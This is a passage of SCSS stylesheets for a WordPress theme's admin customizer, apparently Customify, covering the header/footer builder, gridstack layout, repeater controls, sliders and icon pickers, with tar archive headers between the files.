max-width: none !important;
&> .ui-resizable-handle { display: none; }
}
}
} admin/customizer/_header_footer_builder.scss 0000666 00000041010 15114372150 0015407 0 ustar 00 $cb_padding: 20px;
.customify--hide {
display: none !important;
}
#customize-preview {
transition: all 500ms;
&.cb--preview-panel-show {
bottom: 330px;
}
}
.preview-desktop {
#customize-preview {
&.cb--preview-panel-show {
height: auto;
}
}
}
.preview-tablet {
#customize-preview {
&.cb--preview-panel-show {
height: auto;
}
}
}
.preview-mobile {
#customize-preview {
&.cb--preview-panel-show {
height: 480px;
}
}
}
.customify--customize-builder {
position: fixed;
bottom: 0px;
width: 100%;
max-width: 100%;
left: 0px;
display: block;
background: $bg;
border-top: $border;
transition: all 500ms;
transform: translateY(100%);
.panel-name-text {
display: none;
}
&.customify--builder-show {
transform: translateY(0);
&.customify--builder--hide {
transform: translateY(100%);
.close-text {
display: none;
}
.panel-name-text {
display: inline-block;
font-weight: 500;
}
.customify--panel-close {
position: absolute;
top: -45px;
right: 30px;
@include rtl() {
right: auto;
left: 30px;
}
text-transform: uppercase;
}
}
}
* {
box-sizing: border-box;
}
.customify--cb-inner {
transition: all 500ms;
margin-left: 300px;
margin-right: 0px;
height: 100%;
display: block;
overflow: auto;
@include rtl {
margin-left: 0px;
margin-right: 300px;
}
}
.customify--cb-body {
height: 295px;
overflow: auto;
display: block;
}
}
.customify--cb-body {
position: relative;
overflow: hidden;
}
.customify--device-panel {
@include clearfix();
display: block;
z-index: 4;
position: relative;
&.customify--panel-hide {
opacity: 0;
height: 0px;
overflow: hidden;
display: block;
z-index: 1;
position: absolute;
top: -99999px;
left: -99999px;
width: 0px;
}
&.customify--panel-desktop {
.customify--cp-sidebar {
display: none;
}
}
&.customify--panel-mobile {
.customify--cp-rows {
width: 60%;
float: right;
padding-left: 5px;
}
.customify--cp-sidebar {
width: 40%;
padding-right: 5px;
float: left;
}
}
}
.customify--cb-header {
padding: 10px $cb_padding 0px;
@include clearfix();
border-bottom: 1px solid #ccc;
.customify--cb-devices-switcher {
float: left;
@include rtl() {
float: right;
}
a {
border: 1px solid #ccc;
display: inline-block;
margin-right: 10px;
padding: 8px 15px 9px;
margin-bottom: -1px;
font-weight: bold;
text-decoration: none;
color: #444444;
&:focus {
box-shadow: none;
}
&.customify--tab-active {
border-bottom-color: #ebebeb;
}
}
}
.customify--cb-actions {
float: right;
@include rtl() {
float: left;
}
margin-top: -1px;
> * {
display: inline-block;
margin-left: 5px;
&:last-child {
margin-left: 0px;
}
}
.customify-swicth-version {
position: relative;
select {
position: absolute;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
display: block;
width: 100%;
opacity: 0;
}
}
.builder-version-change {
text-transform: uppercase;
}
}
}
.customify--cb-body {
padding: $cb_padding;
position: relative;
z-index: 4;
}
.customify--cb-footer {
position: relative;
z-index: 5;
}
.customify--cb-row {
padding: 0px 0 0 35px;
@include rtl() {
padding: 0px 35px 0 0px;
}
position: relative;
border: $border;
display: block;
margin-bottom: 10px;
&:last-child {
margin-bottom: 0px;
}
&.row-active {
.customify--cb-row-settings {
background: $builder_active_color;
}
border-color: $builder_active_color;
.customify--cb-row-settings {
&:before {
color: #fff;
}
}
}
@include clearfix();
.customify--cb-row-settings {
position: absolute;
top: 0px;
left: 0px;
border-right: 1px solid #ddd;
@include rtl() {
left: auto;
right: 0px;
border-right: 0 none;
border-left: 1px solid #ddd;
}
bottom: 0px;
text-decoration: none;
width: 35px;
display: block;
text-align: center;
color: #444444;
&:focus {
box-shadow: none;
}
&:before {
-webkit-font-smoothing: antialiased;
font: 400 18px/54px dashicons;
content: "\f111";
position: relative;
top: -2.5px;
}
&:hover {
color: $builder_active_color;
}
}
.customify--cb-items {
display: block;
min-height: 40px;
&.customify--sidebar-items {
padding: 0px 5px 0px;
.grid-stack-item {
.customify--cb-item-remove {
right: 3px;
}
.customify--cb-item-setting {
right: 26px;
}
&.ui-draggable-handle {
width: 100% !important;
min-width: 100%;
}
display: block;
margin-bottom: 5px;
&:last-child {
margin-bottom: 0px;
}
}
}
}
.customify--row-inner {
width: 100%;
padding: 5px 0px;
background: #ffffff;
position: relative;
.row--grid {
position: absolute;
top: 0px;
left: 0px;
width: 100%;
z-index: 1;
display: flex;
bottom: 0px;
div {
border-right: 1px dashed #dddddd;
width: 8.3333333333%;
flex-basis: 8.3333333333%;
max-width: 8.3333333333%;
display: block;
&:last-child {
border-right: 0 none;
}
@include rtl {
border-right: none 0px;
border-left: 1px dashed #dddddd;
&:last-child {
border-right: 0 none;
border-left: 0px none;
}
}
}
}
.customify--cb-items {
z-index: 36;
background: transparent;
}
}
.grid-stack-item-content {
background: #fafafa;
border: 1px solid #dddddd;
line-height: 1;
}
.grid-stack-item {
&.item-active {
.grid-stack-item-content {
border-color: $builder_active_color;
}
}
}
.customify--cb-item-name {
overflow: hidden;
text-overflow: ellipsis;
margin: 0 10px 0 10px;
padding-right: 60px;
@include rtl() {
padding-right: 0px;
padding-left: 60px;
}
display: inline-block;
width: 100%;
max-width: 100%;
line-height: 37px;
}
.customify--cb-item-add {
display: none;
}
}
.builder-item-moving {
.ui-resizable-handle {
display: none !important;
}
}
.customify-available-items {
@include clearfix();
clear: both;
margin-top: 20px;
width: 100%;
display: inline-block;
&.customify--panel-hide {
height: 0px;
overflow: hidden;
display: block;
visibility: hidden;
}
@include clearfix;
.grid-stack-item-content {
padding: 6px 15px;
border: $border;
margin-right: 10px;
cursor: -webkit-grab;
cursor: -moz-grab;
box-shadow: 0 1px 0 #ccc;
background: #f7f7f7;
color: #555555;
border-radius: 2px;
&:hover {
color: #23282d;
background: #fafafa;
border-color: #999;
}
&:active {
cursor: -webkit-grabbing;
cursor: -moz-grabbing;
}
}
* {
box-sizing: content-box;
}
.grid-stack-item {
float: left;
@include rtl(){
float: right;
}
width: auto !important;
.item-tooltip {
display: none;
}
}
.customify--cb-item-setting,
.customify--cb-item-remove {
display: none;
}
}
.grid-stack > .grid-stack-item > .grid-stack-item-content {
overflow: hidden !important;
}
.grid-stack-item {
position: relative;
height: 40px;
display: inline-block;
z-index: 50;
cursor: pointer;
&.ui-draggable-dragging {
z-index: 9999999;
cursor: grabbing;
cursor: -webkit-grabbing;
cursor: -moz-grabbing;
}
.item-tooltip {
position: absolute;
background: #333333;
color: #ffffff;
font-size: 11px;
line-height: 15px;
padding: 3px 10px 4px;
border-radius: 2px;
top: 0px;
left: 11px;
z-index: 0;
opacity: 0;
height: 0px;
overflow: hidden;
&:before {
bottom: -7px;
content: "";
position: absolute;
width: 0;
height: 0;
border-style: solid;
border-width: 8px 8px 0 8px;
border-color: #333333 transparent transparent transparent;
}
}
&.show-tooltip {
.item-tooltip {
top: -29px;
left: 11px;
z-index: 68;
opacity: 1;
height: auto;
overflow: initial;
}
}
.grid-stack-item-content {
background: #fafafa;
border-radius: 2px;
}
.customify-cb-icon {
position: absolute;
&:before {
-webkit-font-smoothing: antialiased;
font: 400 20px/26px dashicons;
}
}
.customify--cb-item-add {
top: 50%;
right: 10px;
transform: translateY(-50%);
&:before {
content: "\f132";
}
}
.customify--cb-item-remove {
top: 50%;
background: inherit;
padding: 5px 3px;
right: 0px;
@include rtl() {
right: auto;
left: 0px;
}
transform: translateY(-50%);
cursor: pointer;
&:before {
content: "\f335";
}
&:hover {
color: $builder_active_color;
}
}
.customify--cb-item-setting {
background: inherit;
top: 50%;
right: 22px;
@include rtl() {
right: auto;
left: 22px;
}
padding: 5px 3px;
transform: translateY(-50%);
cursor: pointer;
&:before {
content: "\f111";
font-size: 15px;
}
&:hover {
color: $builder_active_color;
}
}
}
$gridstack-columns: 12 !default;
$horizontal_padding: 20px !default;
$vertical_padding: 20px !default;
$animation_speed: 0.3s !default;
@mixin grid-stack-items($gridstack-columns) {
.grid-stack.grid-stack-#{$gridstack-columns} {
> .grid-stack-item {
min-width: 100% / $gridstack-columns;
@for $i from 1 through $gridstack-columns {
&[data-gs-width="#{$i}"] {
width: (100% / $gridstack-columns) * $i;
}
&[data-gs-x="#{$i}"] {
left: (100% / $gridstack-columns) * $i;
}
&[data-gs-min-width="#{$i}"] {
min-width: (100% / $gridstack-columns) * $i;
}
&[data-gs-max-width="#{$i}"] {
max-width: (100% / $gridstack-columns) * $i;
}
}
}
}
}
@for $j from 1 through $gridstack-columns {
@include grid-stack-items($j);
}
@mixin vendor($property, $value...) {
-webkit-#{$property}: $value;
-moz-#{$property}: $value;
-ms-#{$property}: $value;
-o-#{$property}: $value;
#{$property}: $value;
}
:root .grid-stack-item > .ui-resizable-handle {
filter: none;
}
.grid-stack {
position: relative;
&.grid-stack-rtl {
direction: ltr;
> .grid-stack-item {
direction: rtl;
}
}
.grid-stack-placeholder > .placeholder-content {
border: 1px dashed lightgray;
margin: 0;
position: absolute;
top: 0;
left: $horizontal_padding / 2;
right: $horizontal_padding / 2;
bottom: 0;
width: auto;
z-index: 0 !important;
text-align: center;
}
> .grid-stack-item {
min-width: 100% / $gridstack-columns;
position: absolute;
padding: 0;
> .grid-stack-item-content {
margin: 0;
position: absolute;
top: 0;
left: $horizontal_padding / 2;
right: $horizontal_padding / 2;
bottom: 0;
width: auto;
overflow-x: hidden;
overflow-y: auto;
}
> .ui-resizable-handle {
position: absolute;
font-size: 0.1px;
display: block;
-ms-touch-action: none;
touch-action: none;
}
&.ui-resizable-disabled > .ui-resizable-handle,
&.ui-resizable-autohide > .ui-resizable-handle {
display: none;
}
&.ui-draggable-dragging,
&.ui-resizable-resizing {
z-index: 100;
> .grid-stack-item-content,
> .grid-stack-item-content {
box-shadow: 1px 4px 6px rgba(0, 0, 0, 0.2);
opacity: 0.8;
}
}
> .ui-resizable-se,
> .ui-resizable-sw {
background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgd2lkdGg9IjE2cHgiIGhlaWdodD0iMTZweCIgdmlld0JveD0iMCAwIDUxMS42MjYgNTExLjYyNyIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgNTExLjYyNiA1MTEuNjI3OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxnPgoJPHBhdGggZD0iTTMyOC45MDYsNDAxLjk5NGgtMzYuNTUzVjEwOS42MzZoMzYuNTUzYzQuOTQ4LDAsOS4yMzYtMS44MDksMTIuODQ3LTUuNDI2YzMuNjEzLTMuNjE1LDUuNDIxLTcuODk4LDUuNDIxLTEyLjg0NSAgIGMwLTQuOTQ5LTEuODAxLTkuMjMxLTUuNDI4LTEyLjg1MWwtNzMuMDg3LTczLjA5QzI2NS4wNDQsMS44MDksMjYwLjc2LDAsMjU1LjgxMywwYy00Ljk0OCwwLTkuMjI5LDEuODA5LTEyLjg0Nyw1LjQyNCAgIGwtNzMuMDg4LDczLjA5Yy0zLjYxOCwzLjYxOS01LjQyNCw3LjkwMi01LjQyNCwxMi44NTFjMCw0Ljk0NiwxLjgwNyw5LjIyOSw1LjQyNCwxMi44NDVjMy42MTksMy42MTcsNy45MDEsNS40MjYsMTIuODUsNS40MjYgICBoMzYuNTQ1djI5Mi4zNThoLTM2LjU0MmMtNC45NTIsMC05LjIzNSwxLjgwOC0xMi44NSw1LjQyMWMtMy42MTcsMy42MjEtNS40MjQsNy45MDUtNS40MjQsMTIuODU0ICAgYzAsNC45NDUsMS44MDcsOS4yMjcsNS40MjQsMTIuODQ3bDczLjA4OSw3My4wODhjMy42MTcsMy42MTcsNy44OTgsNS40MjQsMTIuODQ3LDUuNDI0YzQuOTUsMCw5LjIzNC0xLjgwNywxMi44NDktNS40MjQgICBsNzMuMDg3LTczLjA4OGMzLjYxMy0zLjYyLDUuNDIxLTcuOTAxLDUuNDIxLTEyLjg0N2MwLTQuOTQ4LTEuODA4LTkuMjMyLTUuNDIxLTEyLjg1NCAgIEMzMzguMTQyLDQwMy44MDIsMzMzLjg1Nyw0MDEuOTk0LDMyOC45MDYsNDAxLjk5NHoiIGZpbGw9IiM2NjY2NjYiLz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8L3N2Zz4K);
background-repeat: no-repeat;
background-position: center;
@include vendor(transform, rotate(45deg));
}
> .ui-resizable-se {
@include vendor(transform, rotate(-45deg));
}
> .ui-resizable-nw {
cursor: nw-resize;
width: 20px;
height: 20px;
left: 10px;
top: 0;
}
> .ui-resizable-n {
cursor: n-resize;
height: 10px;
top: 0;
left: 25px;
right: 25px;
}
> .ui-resizable-ne {
cursor: ne-resize;
width: 20px;
height: 20px;
right: 10px;
top: 0;
}
> .ui-resizable-e {
cursor: col-resize;
width: 10px;
right: $horizontal_padding / 2;
top: 0px;
bottom: 0px;
}
> .ui-resizable-se {
cursor: se-resize;
width: 20px;
height: 20px;
right: 10px;
bottom: 0;
}
> .ui-resizable-s {
cursor: s-resize;
height: 10px;
left: 25px;
bottom: 0;
right: 25px;
}
> .ui-resizable-sw {
cursor: sw-resize;
width: 20px;
height: 20px;
left: 10px;
bottom: 0;
}
> .ui-resizable-w {
cursor: col-resize;
width: 10px;
left: $horizontal_padding / 2;
top: 0px;
bottom: 0px;
}
&.ui-draggable-dragging {
& > .ui-resizable-handle {
display: none !important;
}
}
@for $i from 1 through $gridstack-columns {
&[data-gs-width="#{$i}"] {
width: (100% / $gridstack-columns) * $i;
}
&[data-gs-x="#{$i}"] {
left: (100% / $gridstack-columns) * $i;
}
&[data-gs-min-width="#{$i}"] {
min-width: (100% / $gridstack-columns) * $i;
}
&[data-gs-max-width="#{$i}"] {
max-width: (100% / $gridstack-columns) * $i;
}
}
}
&.grid-stack-animate,
&.grid-stack-animate .grid-stack-item {
@include vendor(
transition,
left $animation_speed,
top $animation_speed,
height $animation_speed,
width $animation_speed
);
}
&.grid-stack-animate .grid-stack-item.ui-draggable-dragging,
&.grid-stack-animate .grid-stack-item.ui-resizable-resizing,
&.grid-stack-animate .grid-stack-item.grid-stack-placeholder {
@include vendor(transition, left 0s, top 0s, height 0s, width 0s);
}
&.grid-stack-one-column-mode {
height: auto !important;
& > .grid-stack-item {
position: relative !important;
width: auto !important;
left: 0 !important;
top: auto !important;
margin-bottom: $vertical_padding;
max-width: none !important;
& > .ui-resizable-handle {
display: none;
}
}
}
}
/* Saved templates */
.save-template-form, .flex-form {
display: flex;
margin-bottom: 15px;
.button {
margin-left: 10px;
}
}
.list-boxed {
&.has-templates {
.no_template {
display: none;
}
}
li {
@include clearfix;
&.li-boxed {
background: #fff;
padding: 12px 10px;
position: relative;
border: 1px solid #e5e5e5;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
a {
cursor: pointer;
float: right;
&.load-tpl {
margin-left: 10px;
}
}
&.no_template {
padding: 15px 0;
font-style: italic;
}
}
}
/**
* Upsell panel
*/
.customify-upsell-panel {
margin-bottom: 0px;
margin-top: 0px;
float: left;
display: block;
padding-top: 8px;
color: #888888;
}
admin/customizer/_control.scss 0000666 00000111573 15114372150 0012567 0 ustar 00 $text_color: #555d66;
// Device tabs settings
.customify--hide {
display: none !important;
}
.customify--clear {
clear: both;
}
.customify-control-field-header {
cursor: pointer;
}
.customize-control-customify-modal,
.customize-control-customify-typography,
.customize-control-customify-styling{
.customify-control-field-header {
margin-right: 25px;
}
}
.customify-control--heading {
padding: 5px 12px;
background: #BBBBBB;
//border-bottom: 1px solid #dddddd;
//border-top: 1px solid #dddddd;
margin: 10px -12px 2px;
.customize-control-title {
margin: 0px;
text-transform: uppercase;
letter-spacing: 2px;
font-weight: 500;
font-size: 12px;
color: #FFFFFF;
}
}
.customify--field {
.customify-field--heading {
padding: 7px 12px;
background: #fff;
border-bottom: 1px solid #dddddd;
border-top: 1px solid #dddddd;
margin: 10px -15px;
text-transform: uppercase;
letter-spacing: 2px;
font-weight: 400;
font-size: 12px;
color: #444444;
}
}
#customize-controls {
.customify--field {
.customify-field--heading {
font-size: 12px;
}
}
.customify-modal-settings {
h3.customify-field--heading {
font-size: 11px;
}
.wp-picker-container {
z-index: -1;
&.wp-picker-active {
z-index: 69;
}
}
}
}
.customize-control {
.customize-control-description {
margin-bottom: 15px;
margin-top: -3px;
}
&.control--bg {
&.bottom-0 {
margin-bottom: 0px;
}
.customify--settings-wrapper {
background: #fff;
margin-left: -12px;
margin-right: -12px;
min-height: 15px;
padding: 10px 10px 8px 14px;
border-bottom: 1px solid #ddd;
> .customize-control-description {
display: none;
}
.customify-actions {
top: 13px;
right: 10px;
margin-top: 0px;
.action--edit {
padding: 0px;
border: none;
&:focus {
box-shadow: none;
}
span {
transition: all .2s linear;
transform: rotate(-90deg);
&:before {
content: "\f347";
}
}
}
}
}
.customify-modal-settings {
margin-left: -12px;
margin-right: -12px;
margin-top: 0px;
margin-bottom: 0px;
box-shadow: none;
background: transparent;
border-bottom: 1px solid #ddd;
z-index: 2;
&:before {
display: none !important;
}
.modal--tabs span.tab--active {
background-color: #eee;
border-bottom-color: #eee;
}
}
&.modal--opening {
.customify--settings-wrapper {
.customify-actions {
.action--edit {
span {
transform: rotate(-180deg);
&:before {
content: "\f347";
}
}
}
}
}
}
}
}
.customify-field-heading{
&::after {
display: block;
content: ""; clear: both;
}
label {
display: inline-block;
}
.customify-devices {
display: inline-block;
margin-left: 0px;
float: right;
@include rtl(){
float: left;
}
button {
cursor: pointer;
background: 0 0;
border: none;
height: 23px;
padding: 0 0px;
margin: 0 0 0 1px;
-webkit-box-shadow: none;
box-shadow: none;
outline: none !important;
transition: .15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;
color: #bbbbbb;
&:before {
display: inline-block;
-webkit-font-smoothing: antialiased;
font: 400 16px/4px dashicons;
vertical-align: top;
margin: 0;
padding: 5px 0px 3px;
//color: #656a6f;
}
&.preview-desktop:before {
content: "\f472";
}
&.preview-tablet:before {
content: "\f471";
}
&.preview-mobile:before {
content: "\f470";
}
}
}
}
/**
* Group Field
*/
.customize-control-customify-group {
.customify--settings-wrapper {
.customify--settings-fields {
border: 2px dashed #ccc;
padding: 15px;
}
.customify--group-field {
margin-bottom: 15px;
&:last-child {
margin-bottom: 0px;
}
}
}
}
.customify--multiple-devices .customify-field-settings-inner {
display: none;
.customify-field-settings-inner {
display: block;
}
}
.preview-desktop {
.customify-devices .preview-desktop{ border-color: #191e23; color: #191e23; }
.customify-field-settings-inner {
&.customify--for-desktop {
display: block;
}
}
}
.preview-tablet {
.customify-devices .preview-tablet{ border-color: #191e23; color: #191e23; }
.customify-field-settings-inner {
&.customify--for-tablet {
display: block;
}
}
}
.preview-mobile {
.customify-devices .preview-mobile{ border-color: #191e23; color: #191e23; }
.customify-field-settings-inner {
&.customify--for-mobile {
display: block;
}
}
}
.customify--repeater-actions {
text-align: right;
.customify--repeater-add-new {
margin-left: 15px;
&:before {
content: "\f132";
display: inline-block;
position: relative;
left: -2px;
top: -1px;
font: 400 20px/1 dashicons;
vertical-align: middle;
transition: all .2s;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
}
.customify--repeater-reorder {
line-height: 27px;
}
}
.customify--repeater-items {
margin-top: 15px;
margin-bottom: 15px;
.customify--repeater-field {
margin-bottom: 15px;
}
.customify--repeater-item-inner {
padding: 10px;
}
.customify--remove {
padding: 0 10px 10px;
display: inline-block;
}
.customify--repeater-visible {
display: inline-block;
position: absolute;
top: 0px;
left: 0px;
border-right: 1px solid #dddddd;
@include rtl(){
left: auto;
right: 0px;
border-right: 0px none;
border-left: 1px solid #dddddd;
}
width: 35px;
text-align: center;
.r-visible-icon {
&:before {
-moz-osx-font-smoothing: grayscale;
border: none;
content: "\f530";
display: block;
font: 14px/34px dashicons;
padding: 5px;
text-decoration: none !important;
text-indent: 0;
}
}
input:checked + span.r-visible-icon {
&:before {
content: "\f177";
}
}
input {
display: none;
}
}
.customify--repeater-item-heading {
background: #FFF;
padding: 15px;
position: relative;
display: block;
line-height: 1;
font-size: 1em;
cursor: pointer;
}
.item---visible-hidden {
.customify--repeater-item-heading {
background: #f1f1f1;
}
}
.ui-sortable-helper {
.customify--repeater-item-heading {
cursor: grabbing;
cursor: -webkit-grabbing;
cursor: -moz-grabbing;
}
}
.customify--repeater-live-title {
white-space: nowrap;
margin-right: 35px;
margin-left: 30px;
@include rtl(){
margin-left: 35px;
margin-right: 30px;
}
overflow: hidden;
text-overflow: ellipsis;
display: block;
font-weight: 600;
line-height: 1;
}
.customify-nav-reorder {
display: none;
float: right;
position: absolute;
top: 0px;
right: 0px;
background-color: #fafafa;
> span {
position: relative;
overflow: hidden;
float: left;
display: block;
width: 33px;
height: 43px;
color: #82878c;
text-indent: -9999px;
cursor: pointer;
outline: 0;
&:hover {
color: #191e23;
background: #eee;
}
&:before {
display: inline-block;
position: absolute;
top: 0;
right: 0;
width: 100%;
height: 100%;
font: 400 20px/43px dashicons;
text-align: center;
text-indent: 0;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
}
.customify--down {
&:before {
content: "\f347";
}
}
.customify--up {
&:before {
content: "\f343";
}
}
}
&.reorder-active {
.customify-nav-reorder {
display: block;
}
.customify--repeater-item-toggle {
display: none !important;
}
}
.customify--repeater-item {
border: 1px solid #ddd;
background: #ffffff;
margin-bottom: 10px;
&:last-child {
margin-bottom: 0px;
.customify-nav-reorder > span {
&.customify--down {
background: #ffffff;
}
}
}
&:first-child {
.customify-nav-reorder > span {
&.customify--up {
background: #ffffff;
}
}
}
.customify--repeater-item-toggle {
position: absolute;
top: 0px;
bottom: 0px;
right: 0px;
@include rtl(){
right: auto;
left: 0px;
}
text-decoration: none;
width: 32px;
display: block;
text-align: center;
color: $text_color;
box-shadow: none !important;
&:before {
font: 400 20px/2 dashicons;
content: "\f140";
}
}
.customify--repeater-item-settings {
display: none;
}
&.customify--open {
.customify--repeater-item-heading {
border-bottom: 1px solid #ddd;
}
.customify--repeater-item-settings {
display: block;
}
.customify--repeater-item-toggle {
&:before {
content: "\f142";
}
}
}
}
}
.customify--group-field {
&.ft--hr {
clear: both;
}
&.field-half {
width: 50%;
float: left;
}
&.field-half-left {
width: 50%;
float: left;
.customify--field {
padding-right: 5px;
}
}
&.field-half-right {
width: 50%;
float: left;
.customify--field {
padding-left: 5px;
}
}
}
.customify--field {
margin-bottom: 15px;
width: 100%;
&:last-child {
margin-bottom: 0px;
}
* {
box-sizing: border-box;
}
&.customify--field-color {
}
label {
}
textarea {
width: 100%;
}
.wp-picker-container input[type=text].wp-color-picker {
width: 65px !important;
}
}
.customify-text-align {
input {
display: none;
}
input:checked + .button {
background: #ccc;
}
}
.customify--css-unit {
margin-bottom: 5px;
label {
display: none;
margin-right: 5px;
text-transform: uppercase;
padding: 0px 5px;
font-size: 11px;
&:first-child {
margin-left: -5px;
@include rtl() {
margin-left: 0px;
}
}
&.customify--label-active {
font-weight: bold;
}
}
input {
display: none;
}
}
.customify--gr-inputs {
display: flex;
margin-left: -2px;
margin-right: -2px;
> span {
padding: 0px 2px;
}
.customify--small-label {
font-size: 10px;
display: block;
text-transform: uppercase;
}
span.input {
height: 28px;
display: block;
vertical-align: middle;
line-height: 28px;
text-align: center;
}
label {
cursor: pointer;
input{
display: none;
}
width: 25px;
flex: none;
position: relative;
&:before {
font: 400 18px/37px dashicons;
content: "\f225";
position: absolute;
top: -3px;
left: 5px;
display: block;
}
&.customify--label-active {
&:before {
content: "\f103";
}
}
}
}
.customify-image-preview {
margin: 0px 0 12px;
display: block;
&:before {
content: attr(data-no-file-text);
display: block;
border: 1px dashed #DDDDDD;
padding: 9px 0px;
text-align: center;
}
&.customify--has-file {
&:before {
display: none;
}
}
}
.customify-input-slider-wrapper {
position: relative;
margin-top: 35px;
display: block;
.customify--css-unit {
text-align: right;
margin-top: -23px;
margin-bottom: 0px;
}
.customify--slider-input {
width: 60px;
max-width: 60px;
position: absolute;
top: -9px;
right: 41px;
@include rtl(){
left: 41px; right: auto;
}
height: 24px;
line-height: 18px;
&.no-unit {
right: 18px;
}
}
.customify--label-active {
display: block;
top: -9px;
right: 18px;
@include rtl(){
left: 17px; right: auto;
}
line-height: 22px;
position: absolute;
margin-right: 0px;
border: 1px solid #ddd;
background: #fff;
font-weight: normal;
font-size: 10px;
cursor: default;
min-width: 24px;
text-align: center;
}
.reset {
text-decoration: none;
display: inline-block;
color: #555d66;
top: -9px;
right: -5px;
@include rtl(){
left: -5px; right: auto;
}
line-height: 22px;
position: absolute;
margin-right: 0px;
border: 1px solid #ddd;
background: #fff;
font-weight: normal;
&:before {
-moz-osx-font-smoothing: grayscale;
border: none;
content: "\f531";
display: block;
font: 12px/1 dashicons;
padding: 5px;
text-decoration: none !important;
text-indent: 0;
}
}
}
.customify-input-slider {
position: relative;
margin: 11px 118px 20px 4px;
@include rtl(){
margin: 11px 4px 20px 118px;
}
height: 5px;
display: block;
background: #CCCCCC;
.ui-slider-range {
width: 100%;
display: block;
height: 5px;
background: #3068af;
@include rtl(){
position: absolute;
left: 0px;
}
}
.ui-slider-handle {
width: 18px;
height: 18px;
display: block;
position: absolute;
top: -7px;
background: #ffffff;
border: 1px solid #CCCCCC;
border-radius: 50%;
cursor: pointer;
transform: translateX(-5px);
}
}
.customify--field-shadow {
.customify--gr-inputs {
margin-top: 10px;
}
}
.customify--icon-picker {
display: flex;
.customify--icon-preview {
flex: 1;
border: 1px solid #ddd;
border-right: 0px;
@include rtl(){
border-right: 1px solid #ddd;
border-left: 0px;
}
cursor: pointer;
position: relative;
}
.customify--icon-preview-icon {
width: 35px; display: block;
border-right: 0px;
text-align: center;
height: 100%;
position: relative;
background: #FFFFFF;
i {
position: absolute;
top: 50%;
left: 13px;
transform: translateY(-50%);
}
}
input {
box-shadow: none !important;
outline: none !important;
background: #ffffff;
}
.customify--icon-remove {
cursor: pointer;
flex: 1;
border: 1px solid #ddd;
border-left: 0px;
@include rtl(){
border-left: 1px solid #ddd;
border-right: 0px;
}
font-size: 18px;
.dashicons {
width: 30px;
display: block;
transform: translateY(2px);
}
}
}
#customify--sidebar-icons {
position: fixed;
left: -300px;
border-right: 1px solid #ddd;
@include rtl(){
left: auto; right: -300px;
border-right: 0px none;
border-left: 1px solid #ddd;
}
transition: all .5s ease;
&.customify--active {
left: 300px;
@include rtl(){
left: auto;
right: 300px;
}
}
width: 300px;
bottom: 0px;
top: 0px;
display: block;
z-index: 8;
background: #EBEBEB;
*{
box-sizing: border-box;
}
.customify--sidebar-header {
height: 46px;
display: block;
border-bottom: 1px solid #ddd;
}
.customify--icon-type-inner {
padding: 10px 10px 10px 50px;
display: block;
}
.customize-controls-icon-close {
display: block;
position: absolute;
top: 0;
left: 0;
width: 45px;
height: 41px;
padding: 0 2px 0 0;
background: #eee;
border: none;
border-top: 4px solid #eee;
border-right: 1px solid #ddd;
color: #444;
text-align: left;
cursor: pointer;
transition: color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out;
box-sizing: content-box;
text-decoration: none;
&:before {
font: 400 22px/45px dashicons;
content: "\f335";
position: relative;
top: -3px;
left: 13px;
}
}
#customify--sidebar-icon-type {
display: block;
width: 100%;
height: 26px;
}
.customify--sidebar-search {
background: #ffffff;
padding: 10px;
input {
display: block;
width: 100%;
}
}
#customify--icon-browser {
position: absolute;
top: 100px;
left: 0px;
right: 0px;
bottom: 0px;
overflow: auto;
}
.customify--list-icons {
li {
width: 20%;
float: left;
font-size: 24px;
text-align: center;
padding: 10px 10px;
overflow: hidden;
cursor: pointer;
transition:all 0.3s ease;
&:hover {
transform: scale(1.5);
}
}
&:after {
clear: both; content: ""; display: block;
}
}
}
/* Typography */
.customify--font-style {
.button {
input {
display: none;
}
span {
line-height: inherit;
&:before {
line-height: inherit;
}
}
&.customify--checked {
background: #ccc;
}
}
}
/* Text Align */
.customify-text-align {
.button {
padding-top: 3px;
}
}
.custom-control-image_select, .custom-control-radio_group {
.customify-radio-list {
input {
display: none;
}
p {
margin: 0px 0 10px;
}
p, label {
display: inline-block;
}
}
}
.custom-control-image_select .customify-radio-list{
display: flex;
flex-wrap: wrap;
> p {
label {
position: relative;
}
.label {
display: inline-block;
margin-top: 3px;
position: relative;
}
flex-basis: 33.333%;
.bubble {
position: absolute;
top: 0px;
right: 0px;
padding: 6px 3px;
border: 1px solid #ca4a1f;
background: #fff;
font-size: 9px;
line-height: 12px;
text-transform: uppercase;
border-radius: 20px;
transform: translate(9px, -6px);
}
&.input-disabled {
img {
opacity: 0.5;
}
}
}
}
/**
Radio Group
*/
.custom-control-radio_group {
.customify-radio-list {
display: flex;
p {
flex: 1;
&:last-child {
span.label {
border-right: 1px solid #ccc;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
